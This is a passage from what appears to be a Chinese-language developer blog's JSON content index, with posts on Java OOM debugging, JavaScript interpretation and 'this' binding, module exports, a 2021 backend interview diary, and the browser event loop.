檔案 在裡面會看到一個『Thead casuing OutOfMemoryError exception: main』 點選 main 後就可以看到錯誤的地方 點上面 class 可以獲得比較詳細的資訊,包含使用記憶體多少的量都能夠知道 以上是簡單介紹針對 OOM 除錯的一個心得和介紹 Tomcat 設定方法在 tomcat 預設的資料夾底下,進入到 bin 的資料夾linux 用戶新增一行程式新增一個 setenv.sh 的檔案export JAVA_OPTS="-Xmx12m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp" windows 用戶則是新增一個 setenv.bat 的檔案JAVA_OPTS="-Xmx12m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp" 後記實際上並沒有一個銀彈可以順利地解決 OOM 的方法必須找到是程式的邏輯 Bug 導致 OOM又或是本身程式就是需要比較大的記憶體又或是第三方的 Library 寫不好又或是流量太大開太多 Thread原因有很多種,只能透過分析的方式找到引起的主因否則,單純加大記憶體不會解決根本原因不然只持推遲爆炸的時間點而已 (汗… 不管哪種語言排除 OOM 的流程都是大同小異這邊就先記錄以 Java 的方式 (畢竟剛好工作上碰到","link":"/2020/02/24/java-oom/"},{"title":"JavaScript 真的是直譯式語言嗎?","text":"前言網路上常有人在討論 js 是不是編譯 (compiler) 語言又或是直譯 (interpreter) 語言這是一個蠻妙的問題,但要了解這之前,我們必須先談談什麼是編譯語言什麼是直譯語言 這邊先來個科普,在中國那邊也會把直譯稱之為解釋型語言,所以直譯等於解釋下面文章統一都會用直譯去做解釋 編譯語言被稱為編譯語言有一個特性此語言會透過編譯器編譯成另一個語言而編譯器是什麼呢? 先來說說一個情境在這個世界中我在 A 國家扮演著一種角色這個角色是一個專門的手抄者,做的事情就是專門把英文的書翻成中文書讓 A 國的人也能夠讀懂英文的書這裡的手抄者,可以想像成就是編譯器的存在 透過手抄者生產出來的書,還沒有人去讀是不會產生任何效果的編譯器也是如此,編譯器把 C++ 等等語言轉變成 byte code這個 byte codes 還沒被電腦執行之前,是沒有任何作用的 所以編譯語言做的事情就是,把 A 語言的程式碼轉換成 B 語言的程式碼 直譯語言被稱為直譯語言有一個特性此語言會透過直譯器直接去執行,並輸出結果這個直譯器又是什麼呢? 再來換另一個情境在這個世界中我是 A 國家的一個角色這個角色是一個專門的口譯者,做的事情就是專門把英文的語言翻成中文的語言給 A 國的人聽讓 A 國的人能夠聽懂英文 這裡的口譯者總共做了兩件事情 分析英文語句以及文法 把分析完的結果轉成中文說出來 這裡的口譯者,可以想像成就是直譯器的存在其實這也跟上述手抄者在做的事情很類似,兩者一樣都是在翻譯一種語言,只是結果不盡相同 簡單總整比較一下兩者之間的行為差別 編譯器 把 A 語言轉換成其他可以讓機器執行的 B 語言,但不會去執行,產生的結果是語言 直譯器 讀取 A 語言,並且執行它,不會輸出額外的語言,產生的結果是運行結果 兩者之間的效能 編譯器 會把大多數的時間花在編譯上,而且編譯出來的另一種語言很接近電腦能讀的語言,所以實際上執行的時候效率是很高的 直譯器 會讀取原始碼之後,立刻進行分析,分析完又馬上執行。牽扯到語法分析、編譯成機器能讀的語言、交給電腦執行。要如何把這整個流程進料減少分析以及編譯的次數是效能的一大考量 不管是編譯器或是直譯器,都是會需要詞法以及語法分析 用一張圖來表示編譯以及直譯語言的差別 圖片出自你知道「编译」与「解释」的区别吗? js 是哪一種 ?常常有人說 js 直譯 (interpreter) 語言,因為不需要編譯 (compiler),而且是直接跑在瀏覽器上不像 C++ 那樣需要編譯後才可以執行,所以 js 都是一行一行執行的! 且慢 …… 你知道 js 裡面有一個 hoisting 的概念嗎? 關於 js hoisting 的文章建議可以看看我知道你懂 hoisting,可是你了解到多深?裡面講得非常詳細 當你執行以下程式是得到 Uncaught ReferenceError: test is not defined1console.log(test); // Uncaught ReferenceError: test is not defined 但當你執行以下程式卻得到 undefined12console.log(test); // undefinedvar test = 1; 如果是一行一行執行,那為什麼上面兩者的結果是不同的呢?在讀過編譯器和直譯器後,我想各位讀者應該有些答案了 在主流瀏覽器的實現下,js 『看起來』像是直譯語言但在這個黑箱子背後,也是有編譯的步驟存在這樣 js 是不是直譯語言呢?我們來看看其他地方針對直譯式語言或是 JavaScript 是如何介紹的 虚拟机随谈(一):解释器,树遍历解释器,基于栈与基于寄存器,大杂烩提到以下這一段話 一般在網路上都會看到 Python、Ruby、JavaScript 都是直譯語言,是通過直譯器來實現這其實很容易造成誤解,語言一般只會定義抽象語義,而不會強制性要求採用某種實現方式 且在 MDN Web Docs 上面是這樣對 JavaScript 進行介紹的 JavaScript (JS) is a lightweight, interpreted, or just-in-time compiled programming language with first-class functions. 在維基百科上則是這樣對直譯式語言進行解釋的 Many languages have been implemented using both compilers and interpreters,including BASIC, C, Lisp, and Pascal. Java and C# are compiled into bytecode, the virtual-machine-friendly interpreted language.Lisp implementations can freely mix interpreted and compiled code. 所以以使用的案例來說,在瀏覽器上的 js 是直譯語言不過是哪一種,需要看用哪一種方式實現這種語言的執行方式因為說到底語言只是定義抽象語義,並無強制要用哪一種類型實現 前面有提到效率,那是不是 js 效率就很低?且慢!看看我們 Chrome V8 大大就完美呈現什麼叫做媲美編譯語言的效能了有興趣的可以去看看各種 V8 比較效能的文章 後記希望這篇有幫助到正在了解 js 是編譯或是直譯語言的小夥伴們 References MDN Wiki 虚拟机随谈(一):解释器,树遍历解释器,基于栈与基于寄存器,大杂烩 我知道你懂 hoisting,可是你了解到多深? 你知道「编译」与「解释」的区别吗?","link":"/2020/03/16/javascript-is-compiler-or-interpreter-language/"},{"title":"JavaScript this 是什麼? 如何運作的呢?","text":"前言相信寫過 js 的人對於 this 都有一定的認識但要搞懂它真的不容易,js 的 this 並沒有其他語言的 this 那麼單純所以這邊要一步一步的去展示並介紹 js 中的 this 到底是怎麼一回事以及最後面教學如何一步一步判定 this 會是指向什麼 this 是什麼 ?this 單純看英文解釋的話,是代表『自身』聽起來好像有這麼一回事,但實際上使用起來根本不是這樣實際上 js 中 this 代表的是執行時的對象,並不代表自身簡單來就說就是找函數被調用的位置 讓我們看看以下的範例 1234567891011121314function foo(num) { console.log( `foo: ${num}`) this.count++;}foo.count = 0;for (let i = 0; i < 10; i++) { if (i > 7) { foo(i); }}// foo: 8// foo: 9// foo 被調用多少次console.log(foo.count) // 0 --- ??? 為什麼是 0 ?? 雖然 console.log 真的有跑出來 foo 的兩個輸出但 foo.count 卻還是 0這其中的原因是,真正執行 foo 調用的位置的地方是全域(瀏覽器中為 window 物件)注意到這點回去可以執行這行 window.count 會發現為 NaN,卻不是 undefined 那我在這邊該如何去把 this.count 綁定到我的 foo.count 上面呢?這裡可以透過 fn.call(thisArg, arg) 的方式把我們的 this 綁定到 foo 上面在 for loop 之中調用 foo 得方式更改為 foo.call(foo, i) 就可以完成綁定重新執行以上的程式就會發現 foo.count 變成 2 了! 然而要如何尋找呼叫位置以及善用 this 就是一件學問了而用 this 有什麼好處? 看看以下這段 code 12345678910111213141516function foo(num) { console.log( `foo: ${num}`) data.count++;}var data = { count: 0}for (let i = 0; i < 10; i++) { if (i > 7) { foo(i); }}// foo: 8// foo: 9// foo 被調用多少次console.log(foo.count) // 2 沒有用 this 去做綁定,而是用一個變量的方式去儲存雖然這樣一樣看達到效果,但這看起來就不太簡潔未來要重複使用也很不方便而這就是學好 this 的好處之一 看到這邊應該會 this 有簡單的理解了那對於以下這段 code 應該就能清楚知道會出現什麼結果了 123456789101112131415161718function identify() { return this.name;}function speak() { var greeting = \"I 'm\" + identify.call(this); console.log(greeting)}var me = { name: \"Jack\"};var you = { name: \"Reader\"}identify.call(me) // Jackidentify.call(you) // Readerspeak.call(me) // Jackspeak.call(you) // Reader this 綁定規則前面提到要如何去找到調用位置是重要的事之外還要理解 js 中是有哪些規則去綁定 this 的以下會開始介紹 js 的幾種綁定方式但就個人來說,盡量使用顯示綁定的方式去把 this 綁定到對的對象上面才是正確的做法 Default Binding (默認綁定)這條為無法應用其他規則的時候,默認會出現的綁定模式請看以下的 code 12345function foo() { console.log(this.a);}var a = 2;foo(); // 2 這邊可以注意到 var a = 2 是在全域下的一個全局變量所以裡面的 this.a 是指向到全域的變量 a還有個方法可以確認說有沒有真的綁定到,可以透過 use strict 嚴格模式去做測試 123456function foo() { \"use strict\"; console.log(this.a);}var a = 2;foo(); // TypeError Implicit Binding (隱式綁定)這條隱式綁定的規則,則是要取決於上下文 12345678910function foo() { console.log(this.a);}var obj = { a: 2, foo: foo};var bar = obj.foo;var a = \"HIHI\"; // Globalbar(); // \"HIHI\" 雖然 bar 是 obj.foo 的一個引用,但實際上它是對應到 foo 上還有一種狀況很特別,當把 function 當成 args 傳進去執行 12345678910111213function foo() { console.log(this.a);}function doFoo(fn) { fn()}var obj = { a: 2, foo: foo};var bar = obj.foo;var a = \"HIHI\"; // GlobaldoFoo(obj.foo); // \"HIHI\" 這邊可以發現當把函數存進去後, obj.foo 的 this 是被綁定在 global 上 Explicit Binding (顯式綁定)顯式綁定會透過三個函數去使用call apply bind 的方式去做到這件事做法的話,前面應該有看到過了,這邊重新複習一下 1234567function foo() { console.log(this.a)}var obj = { a: 2};foo.call(obj); // 2 這邊可以注意到我們把 foo 裡面的 this.a 綁定到 obj 上面了 new Binding先說明 js 之中的 new 和其他 class 類型的語言是完全不一樣的東西在 js 之中使用 new,並不會真的屬於什麼類或是實例化一個類 (嚴格來說 js 中也沒有所謂的類,全部都是物件)而在使用 new 的時候會有以下幾個步驟 創建全新物件 新物件會被執行原型鏈的連接 新物件會綁定到函數調用的 this 如果函數沒有返回其他物件,那麼 new 會自動返回這個新物件,若有返回其他物件,則替換掉新物件 12345function foo(a) { this.a = a;}var bar = new foo(2);console.log(bar.a); // 2 以上的範例來說明上面的四個步驟bar 為 創建全新物件,建立出 bar 之後會對 Object 的原型鍊做連接 (這裡暫時不提)因為 bar 為新物件,所以根據新物件會綁定到函數調用的 this這時 bar 就會被綁定在 foo 函數裡面的 this 去了那因為在使用 new foo(2) 時,並沒有返回其他物件,所以這裡會把 bar 回傳回去但如果這時有返回其他物件,這時候就會把 bar 也改替換掉了這時第三步原本是把 this 綁定在 bar 本身,這時會變成綁定在其他物件身上參考以下 code 12345678910var test = { a: \"hihi\"}function foo(a) { this.a = a; return test;}var bar = new foo(2);console.log(bar.a); // \"hihi\" 不過如果回傳的並不是物件的話,狀況又會不一樣了 123456function foo(a) { this.a = a; return 1;}var bar = new foo(2);console.log(bar.a); // \"2\" 後記這是看完 You don’t know JS 後做的一篇整理如果有任何錯誤歡迎指教!而整本書對於 this 的解釋非常詳細,如果有興趣的讀者可以找找這本書看看原文是如何寫的吧!後續會再找時間整理關於 prototype (原形鏈) 的原理","link":"/2019/04/24/javascript-this/"},{"title":"Module Export","text":"稍微紀錄一下在 nodejs 裡面 module.exports 和 require以及在 ECMA6 的 export 和 import 的使用方式 nodejs首先先在 a.js 裡面 export 出一個 object 裡面包含一個 click function然後再 b.js 裡面用 require a.js,這時候會有兩種使用方式 1234567891011121314151617// a.jsmodule.exports = { click: () => { console.log('Hi') }}// b.js// 第一種const a = require('./a.js')a.click()// Hi// 第二種const {click} = require('./a.js')click()// Hi 另外一種使用方式也可以達到同樣效果 1234567891011121314151617181920// a.jsmodule.exports = () => { // 這裡可以處理一些初始化的東西 return { click: () => { console.log('Hi') } }}// b.js// 第一種const a = require('./a.js')()a.click()// Hi// 第二種const {click} = require('./a.js')()click()// Hi 接下來就用不同種例子,看看使用方式 1234567// a.jsmodule.exports = [1, 2, 3]// b.jsconst a = require('./a.js')console.log(a)// [1, 2, 3] 123456789// a.jsmodule.exports = { name: 'Hi'}// b.jsconst a = require('./a.js')console.log(a.name);// Hi ECMA6我把上面的例子轉換成 ECMA6 import 和 export 的方式但是有些地方會有些許不同 1234567891011// a.jsexport default { click: () => { console.log('Hi') }}// b.jsimport a from './a.js'a.click()// Hi 123456789101112// a.jsconst click = () => { console.log('Hi')}export { click}// b.jsimport {click} from './a.js'click()// Hi 也可以搭配 as 和 * 去做 import (無法跟 export default 做搭配) 123456789101112// a.jsconst click = () => { console.log('Hi')}export { click}// b.jsimport * as a from './a.js'a.click()// Hi 接下來就用不同種例子,看看使用方式 1234567// a.jsexport default [1, 2, 3]// b.jsimport a from './a.js'console.log(a);// [1, 2, 3] 12345678910// a.jsconst a = [1, 2, 3]export { a}// b.jsimport {a} from './a.js'console.log(a);// [1, 2, 3] 1234567891011121314// a.jsexport default { name: 'hi'}// 等同於const a = { name: 'hi'}export default a// b.jsimport a from './a.js'console.log(a.name);// Hi","link":"/2017/10/19/module-export/"},{"title":"2021 年後端工程師面試心得","text":"背景介紹全職工作經驗大約 4 年, 之前的工作內容包含前後端以及 AWS 系統架構設計等等技能樹: Node.js, Vue.js, JavaScript, Java, AWS, Security 對資訊安全有一些涉獵包含打過幾場 CTF, 再加上之前有去 HITCON 分享在 HITCON ZeroDay 找到的漏洞就是大概了解這個領域, 沒有說很強 XD LeetCode 大概寫個 90 題附近就去找了基本上我的策略就是摸清 LeetCode 的概念題例如說以 DP 的題目來說, 差別差在存的東西和運用的邏輯不太一樣, 但概念上是一樣的不過這次面試沒遇到太難的 LeetCode 題目,算是蠻幸運的 投遞大綱職位都是資深後端工程師, 只有 Pickupp 比較特別是全端工程師除了 Linker Network 是疫情前(三月)在辦公室面試之外, 其他都是遠端面試 Linker Network - 經朋友介紹, offer get Knowtions Research - COO Linkedin 私訊問是否要面試, offer get Pickupp - hunter 投遞, offer get Dcard - hunter 投遞, 感謝信 AmazingTalker - hunter 投遞, offer get 趨勢 - 個人投遞, 感謝信 Glasnostic - hunter 投遞, 作業關後被拒 OneDegree - 個人投遞, 因決定 offer 所以拒絕 online coding test 那因為 Dcard 沒進面試, 所以就沒寫太詳細了 Linker Network這間面試都是同一天面試, 並沒有分成好幾天所以不用擔心這麼多關會拆成很多天, 一次到底的感覺其實還不錯 第一關 - engineer主要是考 node.js event loop 和 js 原型鏈 和 hoisting 等等概念以及 leetcode easy 三題選一題 two sum (相減版) binary search link list merged 難度個人覺得偏易, 對 js 和 nodejs 原理有了解的話很快就可以答出來整份大概寫了 10 分鐘左右這裡覺得不錯地方是, 不是用手寫, 而是用 Notion 共筆打字 第二關 - backend lead + engineer主要是針對工作經驗和個人自身詢問那因為之前做過架構和程式開發, 他們就針對做過的部分去回答就看他好奇哪部分就講給他聽, 像是還有問一些行爲問題 做過有挑戰性的專案 下一份工作期望和想做什麼 離職原因 第三關 - backend lead + engineers主要針對他們公司介和和產品的說明, 以及其他行為問題所以也會知道他們內部實際是做什麼, 有哪些組別等等問題, 行為問題有像是 有沒有無法忍受的事情,忍無可忍那種 職涯規劃 那因為個人對他們做的東西有點興趣, 所以這階段問了蠻多問題導致後面時間拖得有點長 XD 第四關 - backend lead這關原本應該是 CTO 來面試但 CTO 還在開會, 所以 backend lead 就代替他先繼續問一些行為問題 如何跟前端合作 有當過 mentor 嗎? 你的方式是什麼 問題分類, 看起來是著重在團隊合作的部分 第五關 - CTOCTO 開完會就過來了, 個人感覺偏向閒聊那因為履歷上面我有寫 stackoverflow 回答問題才發現 CTO 其實也有在上面回答問題, 就有針對這個經歷稍微聊一下 第六關 - CEO這關偏向閒聊大概就是 CEO 會跟你講公司的願景和他以前做過的事情, 以及未來想做的事情 第七關 - HR這關是談 offer 的部分那因為個人關係加上這間比後面都早兩三個月面, 所以實際能到職時間是三個月後所以這邊他就是保留我的 offer 但沒給我數字, 而是時間快到了再跟他們說因為他們也知道我一定會去面試其他家公司 XD 結果: Offer Get Knowtions Research前兩關都是英文, 最後一關主要是中文這間面試時間蠻彈性的, 早上晚上都可以也是因為這個外商時間剛好跟台灣差 12 小時所以面試時間都是在台灣的 19: 00 ~ 22:00 這之間 總計三關, 都是不同時間面試 第一關 - co-founder技術題目 event loop 是什麼 v8 是什麼 DB index type fork spawn 差異 mysql index order 行為問題 問覺得好的 manager 和壞的 manager 差別 如果你在開發的時候, manager 跟你來說規格要修改你要怎麼做 最後來有一個 Coding Test, 比較像是 co-work 的感覺題目難度大概在 leetcode easy 第二關 - CTO談論組織架構如何運行以及介紹他們的公司比較特別的是他也有問到『好的 manager 和壞的 manager 差別』這關大多都比較像是在聊工作經歷, 沒什麼太深的技術問題 第三關 - COO有問到能否接受快速變化, 以及介紹產品實際上在做什麼以及談論薪水, 這關也比較像是在聊天 結果: Offer Get 這邊稍微補充一些額外的東西雖然看起來是新創, 但在職位上定義還蠻清楚的當時 COO 就邊解釋邊開他們的 Confluence 給我看 XD就看到他們工程師有分 6 個 level, 看起來是公開的, 也有去定義每一個 level 是做什麼 再來因為是新創, 所以也有 Options 可以拿在講 Options 時, 他們內部有一份特地的 ppt 告訴你詳細細節包含如果公司上市你拿多少, 公司被買走你可以拿多少, 外面投資人對公司估值是多少當下就都有分享給我, 面對一個還沒進去的人甚至還沒答應 Offer 的人願意提供那麼多資訊, 是很有好感的 不過因為他們公司總部在多倫多晚上會需要跟他們開會, 但他有說下午你就可以去做其他事情變成要開會那天的時間安排, 就會更彈性 Pickupp這間是港商, 但面試都是全英文面試總計四關, 每關都是不同天去面試的 第一關 - CPO自我介紹和針對人生和工作經歷去問問題 第二關 - 作業主要是四個小題目, leetcode 等級的話大概在 easy這裡不會有時間限制, 寫完之後, 跟他們說寫完了整個過程都是線上, 所以他們也會同時看到你在寫他們就會 review 一下, 請你改成他們建議的方式你改完他們有空就會再繼續看, 直到都沒有問題這整個過程取決於雙方有空的時間, 長的話可能會來回 1~2 天 第三關 - CPO & Engineer來面試除了原本 CPO 還有另一位工程師主要針對工作經歷的內容問, 也問得非常詳細接著有提問一些問題, 我記憶力不太好只想到這幾個 XD FP v.s OOP 列出 data structure 當資料量太多要處理的時候, 要怎麼配合開多台伺服器去處理 第四關 - Live Coding人員一樣是前面兩位題目主要是他們產品的一些商業邏輯像是前 10km 固定收費 5 USD, 接下來 20 km 收費模式變成 3 USD/km然後去計算多少 km 應該收多少錢的問題一開始我不是用 FP 的方式去寫後來他們希望用 FP 寫, 所以就慢慢改成 FP不過他們並不是堅持一定要 FP, 而是剛好這題型很適合用 FP 去寫後來問過他們是不是偏好 FP, 但他們是看情況決定怎麼去使用的 結果: Offer Get AmazingTalker雖然在 ptt 面試心得中有些爭議, 但感覺是有心想改善且對技術好像有一定的把關, 就試試看 面試流程總計四關那因為時間剛好有對到, 所以二三關是一起面試但第四關就是額外約時間面試 第一關 - 作業回家作業關, 總計有 8 小時可以寫內容大致上為實作兩支 API 、快取機制、Unit Test 和 Concurrent 問題 有直接提供 MySQL的 Table Schema 讓你可以去建立我是用 express + mysql + redis 去寫出這個專案那為了讓作業可以順利起起來, 最後有預留一個小時弄 docker-composer 第二關 - Tech Lead如果作業審查通過的話, 就會進入到此關此關內容主要圍繞在第一關作業的內容和工作經歷, 作業問題會問以下幾個問題 你這樣設計的理由是? 你拿到這個專案是怎麼下手? 過程中會開螢幕分享, 直接互相對話, 說明哪邊可能需要改以及解釋你這樣設計的理由 第三關 - HR主要就是看公司文化和特質有沒有符合, 所以會問很多問題HR 也會解釋公司一些特別的文化在解釋的同時, 他們也會問你對於這件事情的看法是什麼?也會問你對未來的規劃是什麼, 為何想當工程師等等行為問題面試下來覺得互動感覺非常好 第四關 - HR Manager類型跟第三關很像那時候我有直接問他為什麼還有這關我記得是說希望藉由多一個人面試, 去增加對於這個候選人不同角度的看法這邊也有聊到未來退休想做什麼, 有沒有什麼樣的規劃 結果: Offer Get, 實際體驗比想像中好很多 XD 趨勢主要有兩個組別面試, 分別是 WRS 和 Group1, 總計四關除了第一關是寫程式之外剩下的每一關都是額外約時間面試, 也就是說分了三天去面試 第一關 - Online Coding Test主要是寫 leetcode 題目, 平台是用 codility題目共四題, 難度我覺得是 easy 2 + medium 2 第二關 - WRS & Group1主要是先 WRS 先面試, 再來是 Group1 WRS 因為我熟悉的語言是 js, 所以就會問一些關於 js 的東西像是 promise 有什麼好處之類的那因為我也有寫過 java, 所以他們也有問有沒有處理過 multi-thread 問題再來就是 thread v.s process 問題但在後續個人經歷分享上我分享比較多在 infra 上面, 但我面的職缺是後端, 所以就沒第三面了 Group1 此組是趨勢大刀改革下的其中一個組別裡面專案都是用 GoLang大致上問題都是圍繞在行為問題, 沒有太多技術問題以及解釋他們內部產品運作流程 第三關 - Group1Group1 後來收到 Group1 第三面跟第二面其實挺像的但細節部分就講比較多, 像是產品運作流程中, PM 是提出問題的, 由 RD 去想解法然後他們是 run Scrum, 除了 Scrum 固定會有的幾個會議之外, 他們還有 Group Design 的環節再來就是所有後端工程師都會輪流接一些從客服來的技術問題 (不是第一線接問題的人)當時面試是說每一次 sprint 會有兩個人輪流 第四關 - HR這裡不知道為啥我的人資轉到變成 Alice 了主要也是行為問題, 有沒有跟同事起過爭執啊等等問題最後就在我開了一個薪資範圍結束面試不過在這關面試過程中, 只有我開著視訊鏡頭在面試感覺蠻奇特的 XD 結果: 面試完隔幾天後主動寄信, 獲得感謝信 glasnostic第一關 - 作業如果書面審查過的話, 會收到一個作業作業詳細內容不能說, 但主要是需要用 Go 寫一個 CLI Tool但如果沒寫過 Go 沒關係, 他們開放讓候選人回去複習再回來寫 結果: 第一關沒過, 後來有請 hunter 去追問有得到原因 OneDegree第一關 - Online Coding Test因決定 offer 所以拒絕 online coding test 但我覺得他們 HR 還不錯投遞履歷後一個禮拜左右, HR 就有打電話來跟我安排面試而且把每一個階段要做的事情都講得很詳細 後記時隔四年後的面試還是有點緊張不過以後還是會固定把面試的一些題目每隔半年到一年拿出來反思有些問題很適合一直思考, 透過不斷地深入去問也會對自己的人生走向越來越明確 至於有哪些題目, 其實網路上都找到的 期待下一份工作帶給你什麼? 想要什麼樣的工作環境? 3 ~ 5 年後想做什麼? 退休想做什麼? 想像中團隊互動應該是要什麼樣子? 成就感來源是什麼? 離開上一份工作原因? 有跟同事或主管意見不合過嗎? 如何解決? 等等 … 很多很多很多 XD 這些問題其實在平常互動都會出現, 只是我們可能不習慣故意去思考而已假設已經身處在一個團隊之中, 感受到團隊合作不順暢也不願成長如果只是一直習慣性擺爛不思考, 不去思考如何變順暢, 覺得都是別人的錯的話, 就變成抱怨了抱怨是不會解決問題, 但偶爾的抱怨宣洩還是要的, 但只會抱怨就是把人生主控權交給別人了這樣的話對於『想像中團隊互動應該是要什麼樣子?』這問題可能就永遠都答不好 透過不斷去思考如何去改善可以慢慢找到自己實際上在意的點是什麼有些人覺得要有 mentor 才可以幫助團隊互相合作和成長有些人覺得制定嚴謹的工作流程才有幫助但這些都是以不同面向得到的結果 想要 mentor 的人-> 可能是習慣性有問題都會找別人求助找速解, 而不是靠自己思考得到自己的解答想要嚴謹的工作流程的人-> 可能是不喜歡掌控不住的感覺, 也許這樣就不適合新創公司 而這些思考都不應該只有第一層次, 它是可以不斷思考下去以上面的 mentor 例子來說-> 那為何不喜歡靠自己思考找到解答? 怕浪費時間?-> 為何怕浪費時間?大概是以這樣的感覺可以一直深入問下去, 問久了對自己了解和在意的點就越深了當然這種方式可以應用在任何地方, 上面只是一種很隨意的舉例 以上廢話有點長, 謝謝看到這邊 XD","link":"/2021/07/19/interview/"},{"title":"Event Loop 運行機制解析 - 瀏覽器篇","text":"Event Loop (2021-03-14 Updated)關於 Event Loop 也寫了兩篇, 針對瀏覽器和 Node.js 版本透過以下兩篇可以更加清楚了解兩者之間的差異 Event Loop 運行機制解析 - 瀏覽器篇 (本篇)Event Loop 運行機制解析 - Node.js 篇 前言網路上有許多文章在討論瀏覽器內 event loop 的機制不少文章都有探討到所謂宏任務 (macrotask or task) 以及微任務 (microtask) 東西但我開始好奇這東西在瀏覽器內的規範是如何去寫這些東西以及定義這些名詞又或是名詞是不是真的跟網路文章說的一樣於是開始想深入了解,究竟在瀏覽器規範中,是怎麼是對 event loop 去說明的 如果要開始看規範的話,原本是想針對 ECMA 內的 JS 機制去閱讀但深入一看才發現,ECMA 內根本沒有針對 JS event loop 的機制去做說明經過一段時間查找後,才發現真正定義 event loop 執行順序以及方法的細節是被歸類在 HTML Living Standard 裡面 HTML Living Standard 基本上就是規範了瀏覽器內核心該如何實現的一套規則官網在此,在此規範裡面就有提到 event loop 的機制 Processing Model在 8.1.4.3 Processing Model 完整定義一個 event loop 包含了哪東西這邊擷取原文的部分內容 先以簡單的方式說明重點步驟 1 ~ 6 重點在於執行 task queue 內的 oldest task 7 執行 mircrotask checkpoint 如果 microtask queue 不為空的話,則會執行 microtask queue 裡面的 microtask 10 執行 rendering 但接下來就要開始問,什麼是 task ? 什麼是 microtask ? 什麼是 rendering ? tasktask 擁有自己的 task queue,不同於待會提到的 microtask queue但要注意的雖然叫做 task queue 但這裡的資料結構並不是 queue 而是 sets task 主要包含以下職責 The user interaction 主要是 event callback,像是滑鼠事件的 callback 是屬於此 task 的範疇 The DOM manipulation DOM Manipulation 像是 document.body.style = 'background:yellow'; 也是屬於此 task The networking 這就像 ajax 觸發時的 callback The history traversal 官網上面是提到 history.back() 這是屬於 task 這種類型 可參考 HTML Living Standard - Generic task sources在這份規範中,沒看到所謂的 macrotask可是會發現在掘金上面都會把此 task 稱為 macrotask 去解釋個人是覺得以規範裡面的名詞去說明比較適合,所以這邊都只會稱 task microtaskmicrotask 是會在每一輪 event loop 進行渲染之前會被觸發且只要在 microtask queue 裡面還有東西的話,就會一直執行下去直到整個 microtask queue 變成空的為止也就是說在 microtask 執行的時候,又觸發 queue 新的 microtask 的話這個新的 microtask 也是會在此輪 task 執行完之前執行,不會留到下一輪 task比較著名的 microtask 就是 Promise 以及 MutationObserver且此 microtask 擁有自己的 microtask queue,這裡的 queue 就是真的 queue 了詳細可以在讀讀以下這張圖 可參考 HTML Living Standard - microtask-queue renderingrendering 就是渲染透過 parse HTML 變成 DOM Tree 以及 parse CSS 變成 CSSOM Tree並且把 DOM Tree 跟 CSSOM 進行合成變成最後的 Render Tree並根據這個 Render Tree 去計算節點的位置去對整個畫面進行 Paint (繪製)這整個過程就是 rendering另外在修改 DOM 的狀況下,也會出現 Reflow (重排/回流) 或是 Repaint (重繪) 的現象整個概念流程如圖下,詳細可以參考 Render-tree Construction, Layout, and Paint 另外在規範上面有提到每一輪的 event loop task 結束後不一定會需要 rendering原因是為了要達到每秒 60 fps 的效果 (60 frams per second)每次瀏覽器繪出一個 frame 的間隔時間為 16.7 ms如果在 16.7ms 內進行兩次 DOM 操作的話,是有可能不會出現兩次渲染的另一個發生的原因是在畫面上如果沒有可見的影響的渲染的話,這次就是不必要的渲染 Event Loop 流程圖根據上面對 task 以及 microtask 的介紹以及 event loop 流程,可以簡化成以下這張流程圖 但這邊要注意的是,真正執行渲染時的 thread 跟執行 js 的 thread 是屬於不同個 thread執行 js 程式的 thread 範疇是在 task 以及 microtask 中但進行渲染時會是透過另一個 GUI thread 去進行渲染 這裡先幫忙補充名詞以及知識process 又名進程、處理程序,thread 又名線程、執行緒程式在執行時被稱為 process有時候我們寫的程式想要開另一條分支去幫忙做計算,那條分支被稱為 thread而 process 是由一個或是多個 thread 組合而成的每個 process 是不會共享記憶體空間的,但是在 process 底下的 threads 們是可以互相共享的而 process 之間可以透過 Inter Process Communication (IPC) 去做溝通,這邊就不針對這個做說明 此兩個 thread 是屬於互斥關係可以試試以下代碼證明,GUI Thread 和 JS Thread 是互斥的當還在執行 js 時,你是看不到他把畫面變成紅色的最終你只會看到畫面變成藍色的可以查看 js 引擎与 GUI 引擎是互斥的看看更多互斥的範例12345678910111213<html lang=\"en\"><body> <script> function sleep(second) { var start = +new Date(); while (start + second * 1000 > (+new Date())) {} } document.body.style.backgroundColor = \"red\"; sleep(5) document.body.style.backgroundColor = \"blue\"; </script></body></html> 談談瀏覽器 process/thread 關係看到這裡大家可能會覺得網頁開啟來就是只會有一個進程然後包含 GUI Thread, JS Thread 等等但其實並不都是這樣,有的瀏覽器實作方式是透過 multi-process 的方式去實作例如說 Chrome 的做法就是下圖右方的方法去實作 圖片出處 Inside look at modern web browser (part 1)圖中黑色外框表示 process裡面有一個虛線很像魚的是 thread (Google 說像魚的,不是說我的 XD)從圖裡面也可以看到,除了包含 Render 之外,還有 Network, GPU, Device 各式各樣的 thread/process (根據瀏覽器實作機制,可能是 thread 可能是 process)以 Chrome 來說, GUI 和 JS 相關的任務,都被歸類在 Render Process 裡面所以在 Chrome 的 Render Process 裡面的 GUI 和 JS 都是 thread 的概念 以 multi-process 去設計瀏覽器的時候當你擁有三個 tab 就會擁有三個 render process 去控制當發生其中一個 tab 壞掉的時候,是不會去影響另外兩個 process但如果當你只有一個 process,另外 3 個 tab 都是這個 process 裡面 thread 的話萬一 process 壞掉,這樣 3 個 tab 是會都會掛掉的 (因為 process 掛了, thread 也不用想活了) 圖片出處 Inside look at modern web browser (part 1)題外話,非常推薦大家去看 Inside look at modern web browser (part 1) 這系列 1-4 的文章圖文並茂,針對瀏覽器的機制講得很清楚 執行範例介紹以上名詞以及流程後,我們來試試看以下幾個例子 範例一以下屬於主程式碼,也就是被放在 task 裡面去執行,最後才會進行渲染以下面的例子來說,畫面最終會被渲染成紅色,但不會是 黃 藍 紅的順序下去因為整段是屬於第一輪的 task,最後渲染是會吃最後一個紅色的屬性 123document.body.style = 'background:yellow';document.body.style = 'background:blue';document.body.style = 'background:red'; 範例二這邊有 setTimout,代表裡面的 callback 會被放在下一輪的 task 之中這樣第一輪的 task 執行渲染藍色,第二輪的 task 執行渲染黑色所以畫面上會先看到藍色再看到黑色1234document.body.style = 'background:blue';setTimeout(function test(){ document.body.style = 'background:black'}, 0) 中間有一段有用慢動作播放,以方便看渲染效果但注意,如果瀏覽器是以 60 fps 進行的話, 代表說這個 setTimeout 時間沒有大於間隔 16.7 ms在這個狀況是有可能發生只有一次渲染的結果,也就是只看到黑色並沒有藍色如果要一定要讓瀏覽器出現兩次渲染,可以把 setTimeout 改成 16.7後面的範例也是如此 為了驗證是分別在兩輪 event loop 